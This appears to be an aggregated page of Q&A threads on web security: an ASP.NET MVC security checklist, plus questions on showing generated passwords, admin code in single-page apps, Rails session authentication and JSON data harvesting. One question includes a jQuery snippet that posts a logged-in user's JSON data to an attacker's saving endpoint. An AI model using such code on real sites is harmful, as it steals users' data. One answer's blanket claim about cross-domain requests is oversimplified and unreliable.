ASP.NET MVC Security checklist - asp.net-mvc

There are tons of good papers about designing and developing for security (and even a bunch of posts on SO), but all of them seem to concentrate on what you should do.
What I'm after, however, is a think-like-a-hacker checklist. A list of simple actions you should to go through once you're done with development, to make sure the solution is secure.
(UPDATE: I'm mostly interested in a blackbox checklist - "go to a page, try this and that" kind of things, but a whitebox checklist might be of interest as well.)
Here's something I've come up with so far:
Security Blackbox Checklist
Submit incorrect/malicious data (examples here?) to make sure that input is validated for type, length, format and range by javascript.
Turn off client-side validation and repeat the step above, to make sure that
you don't only check with javascript but validate on the server side as well
input is validated on the server for type, length, format, and range
free form input is sanitized
output that includes input is encoded with HtmlEncode and UrlEncode
Insert extremely large amount of data in the query string as per http://www.example.com/foo?bar=HugeAmountOfData to make sure you constrain inputs and do boundary checks.
Visit a POST action via GET, to make sure that "form submit" actions are restricted to be POST-only.
If applicable, upload a file of incorrect size/format (huge file, empty file, executable with renamed extension, etc) to make sure uploads are handled gracefully.
(how to check from UI?) ensure that absolute URLs are used for navigation.
Access the URL as a user without correct permissions, to make sure permissions are explicitly tested via action/controller attributes.
Access the URL providing non-existing details (like non-existing product ids, items you don't have access to, etc) to make sure a correct error (404 or 403 etc) is returned.
Access the sensitive page via HTTP, to make sure it's available via HTTPS only.
Security Whitebox Checklist
Web tier.
In debug mode, break the code so that it throws an exception, to make sure it fails securely. Make sure you catch exceptions and log detailed messages but do not leak information to the client.
If applicable, make sure MVC actions, are restricted on POST/GET only, particular user role, anything else?.
Make sure POST actions are accompanied with [ValidateAntiForgeryToken] attribute to prevent Cross-Site Request Forgery attacks.
Make sure Response.Write (either directly or indirectly) is never used to display user input.
Make sure sensitive data is not passed in query strings or form fields.
Make sure your security decisions do not rely on HTTP headers info.
Service tier.
In debug mode, break the code so that it throws an exception, to make sure it fails securely. Make sure you catch exceptions and log detailed messages but do not leak information to the client.
Ensure that if updating anything in the database you operate within a transaction.
Database tier.
Ensure that retrieval stored procs don't use SELECT * but always specify the list of columns explicitly.
Ensure that update/delete stored procs operate within a transaction (via ##TRANCOUNT, etc) and explicitly commit/rollback it.
Comments? Corrections? Missing steps?
Making it a community wiki, feel free to edit as much as you like.

To add to the list:
Black: DoS attacks - employ tinyget or similar to simulate DoS attacks, see what your app does.
Black: Canonicalization attacks. Mentioned a bit, may be special focus can be on a directory traversal attack in case of downloads.
White: Usage of cookies for the sensitive info? See cookies are not used for sensitive data and are not persisted locally over the intented interval.
Black: Sniff in the temp IE/XYZ folder for cookies.
Black: Again, use scripted tinyget or try manually to see if brute force password guess would work or if you app has smart delays/denials for a password guess attacks.
Black: Do any of the attacks and see if admin is notified automatically of the attack or it is only the attacker who knows about it.
"Make sure your security decisions do not rely on HTTP headers info" - http headers are used for ntml/kerberos authentication? May be just don't use them stupidly, don't invent or rely on referer, etc?
General: Employ a commercial black/white-box security scanner, can be expensive but can be hard to do security regression tests otherwise.

Sticking mostly to MVC-specific stuff:
In ASP.NET 4, understand <%: and MvcHtmlString.
Use HTML helpers when possible instead of raw HTML as it increases the chances you'll remember to encode (the helpers do it for you)
Analyze all uses of JsonRequestBehavior.AllowGet to ensure it cannot return an array.
Don't reinvent anything security-related. Use proven, maintained, off-the-shelf implementations.
Don't leak security information in robots.txt

User credentials are validated on each request, either GET or POST or other, to confirm the user authentication
Check user authorization (after checking authentication) for each sensitive operation
Watch out output caching, especially if you implement your own membership system

Make sure you don't blindly bind form data to your model by always using TryUpdateModel<T> over TryUpdateModel.

Related

How to securely show an auto-generated password in MVC 4?

I have most of my MVC 4 web application ready. I have even developed the password auto-generation algorithm. Now I am stuck as to how to show this password to the user.
The controller handling the Sign Up process is the one that will generate the password by calling a method from the PasswordGenerator class. I want to show this to the user in a message box using some jQuery.
I've tried passing it through TempData and ViewBag but the password can be seen in the HTML code sent over the internet. Is there anyway to do this securely without showing the password over the internet?
FYI, sending an email with the password is not an option. This is a class project, not intended for something of that magnitude.
Any help would be appreciated.
For starters, there's nothing special about jQuery, TempData, or ViewBag that's useful to you here. Anything you send over the internet gets, you know, sent over the internet. If an attacker has control of your user's network, then they can intercept a javascript->WebApi call or an email more-or-less as easily as they can intercept an HTML page.
More generally, you should be aware of the trade-offs between security, usability, and development cost. By-and-large there is no such thing as "secure". There are threats you can mitigate and specific attacks you can and should defend against, but there's also a level of risk you can accept depending on the nature of your service.
So, what can we do in this situation:-
The most obvious action to take (and the only one I would truly recommend in your case) is to enable SSL. This secures your transport layer against most snooping with no practical drawbacks. Any time you send sensitive data over the internet, you should use SSL. Some would argue you should use SSL always.
You can mitigate over-the-shoulder-type snooping by hiding the password using javascript, and having the user perform some action to "uncover" it (such as hovering the mouse pointer over a target, or pressing a button). Beware that some of your users may be inexperienced, disabled, or using a mobile device. If I were assessing you, I would care far more that you were "being careful" about accessibility than about hand-rolling your own security hacks!
You can mitigate computer-left-unlocked attacks somewhat by timing out the user's session. You'll see this used frequently with internet banking. Be aware that this also has a usability cost - in particular I would be concerned about timing a user out while they're looking for a pen and a post-it to write down the password you generated for them!
A tangential note:- Storing passwords properly is hard, and storing passwords improperly can be disastrous. Make sure you're doing it correctly! At your level of experience, I would strongly advise against rolling your own password storage system unless your assessor has specifically asked you to. Furthermore, having the server generate passwords for end users to remember is quite controversial. If you haven't been specifically asked for it, you should consider whether it is the right approach and make sure you justify it. For something of this scale, you may want to look into some kind of federated authentication (e.g. "sign in with your google account") instead of handling passwords at all.

Techniques around administrative/super user code being exposed

When building a single page application, in my example with Backbone w/ Marionette, how does one approach administrative/super user sections of code. For example if I build a site that has an admin section that can delete users, manage account details from a financial perspective, etc, technically an attacker can view the code. Additionally an attacker could see the precompiled templates from a visual standpoint. While I understand you can compress the code/obfuscate , that really isn't a solution. Is this just something that's considered a pitfall when developing SPA's? IE one just needs to make absolutely sure the API is secure, etc. If something isn't secure, essentially a roadmap is already provided to a potential attacker...
Well code for the interface really isn't important: it's javascript anyway, so a malicious user could build his own, or simply generate the required API calls.
In addition, the only thing you'd be giving a "roadmap" for is API endpoints, which tend to be easy to guess (e.g. managing users usually goes through the "users" endpoint). In addition, these endpoints are often known: a user could edit his own account by hitting the "users" endpoint, while an admin could edit all users. The API call would be the same (or very similar) and the credentials/authorization would be verified on the server (which, theoretically, the attacker wouldn't have access to).
Your question is close to "how do I achieve security by obscurity?". I know that's not what you're asking, but its not far off. There shouldn't be an issue with an attacker being able to see the admin code path or API calls, because there shouldn't be anything special about them.
But as you said in your question, you absolutely MUST validate/authorize everything on the server. If you don't treat all data coming from the user as hostile or tampered with, you'll have a bad time...
Hope this helps!

HTTP requests, session keys, and authorization as they relate to Rails

I've been working on the development of an Android app in my spare time for several months now. I've done all of my planning for the on-device side (except for server-side interaction), but I've been met with a very steep learning curve for the on-server side implementation. I've researched for about a month with no real leads. Consequently, I'm really at a dead end. The app that I'm working on included these minimal requirements:
Must offer account creation/authentication to the server from the
device
Must maintain some sort of session that allows the user authorization
to make changes that will impact only the on-server user data within the context of the account that they are logged in to.
The ability to log out/be logged out by the server under certain conditions.
A web interface will not be necessary, as this service is only to be consumed by Android devices.
I've decided that a Rails implementation is the most desirable option for me. My experience with Rails and servers in general is very limited. A friend recommended that I read though "Agile Web Development with Rails" in order to get up to speed. I made it through enough of the Depot Application demo in order to understand ORM libraries, the MVC pattern, and scaffolding, but then I got fed up with the way that the book presents the information. Everything is very sequential, and the authors seem to omit a lot of the "how", saying that they'll explain later, and to just not worry about it until that point. That's not the way I learn. I digress.
So far I've used scaffolding in Rails to generate a model, view, and a controller for an Accounts table. I've set up attributes for a username, password, session_key (a randomly generated key that the user should receive and use to connect from their device after login), etc using scaffolding. I am validating the username and session_key to ensure that they're unique, and my alphanumeric key generation is working properly (all of which is done in the model).
Now I'd like to focus on managing sessions in a restful manner. I know that I'll need to implement this by having Android devices pass their user's session key to the server when making HTTP requests and accessing resources etc., but other than that I'm at a loss.
I'm looking for someone to provide me with a good resource (or explanation) outlining how HTTP requests and responses work in general, how JSON information can be received and parsed using a request, and how to otherwise manage restful authorization (assuming that the user has already been assigned their session key). If my approach isn't quite right, please let me know what you would suggest.
Thanks!
For authentication, you might want to check out: http://railscasts.com/episodes/250-authentication-from-scratch You'll basically just be performing the authentication using the session_key. There are other more complicated things you might do, and you could check out authlogic, devise, sorcery, etc. to see how they implement keeping sessions alive. Since you need log outs, and presumably the need to log back in, I would suggest looking into using the session key you describe as the master authentication and then have a perishable key of some sort that gets reset after every request and sent back to the client as a keepalive. Depending on your ultimate needs, that might be enough security and functionality.
For JSON receiving, rails has built-in parsing. Look into respond_to. For sending back JSON, you can use any number of methods. The most basic is to just allow rails to automatically convert the JSON (which happens when respond_with is used, as in the link). You could also build out presenter classes or use something a little more formal like rabl.

Protecting a protected JSON web service from data harvesting?

We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.
Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?
For example:
Could a malicious website build a script like this to get our data:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?
Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.
A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.
What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).
I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.
If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.
You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.

Is it possible for Rails sessions to be created 'just in time'?

My understanding of the session lifecycle in Ruby on Rails (specifically v3 and upwards) is that a session is created at the start of a request, for each and every request, and if that request doesn't carry an existing session cookie a new one will be created, otherwise the session cookie is deserialized and stored in the session hash.
The purpose of this, of course, supports a number of security features such as CSRF etc.
However, this poses a bit of an issue when it comes to caching of pages in a site with HTTP cache services and proxies such as Varnish, as most of the configurations tend to strip out these (generally all) cookies on both the request and response end (as the cache is usually intended for a generalized audience).
I know that it is possible to setup Varnish etc to create the object hash with the cookie details included, and this would scope the cached data to that session (and therefor that user), however I am wondering if this is completely necessary.
I have an application which is fairly 'static' in nature - content is pulled from a database, rendered into a page which can then be cached - there are a few elements (such as comment count, 'recent' items etc) which can be added in with an ESI, but for every request Rails still tends to want to setup a new session, and when a user already has a session this stuff is stripped out by the cache server.
I am wondering if it might be possible (via pre-existing functionality, or building the functionality myself) to allow the developer to control when a session is required, and only when that is specified is the back-and-forwards with cookies, session initialization/deserialization etc necessary.
That, or I am thinking about this problem the wrong way and need to address the issue from another angle...
From what I know rails sessions can be controlled fairly in-depth via ActionController::SessionManagement
http://ap.rubyonrails.org/classes/ActionController/SessionManagement/ClassMethods.html#M000070
There are examples in the API docs of disabling it per action, per controller, etc.
If your site is mostly static then you may want to use full page caching. This takes Rails out of the request entirely and let's the web server deal with it once the content has been generated. Might cause some serious headaches depending on your exact needs as far as the comment counts and user-specifics though.

Resources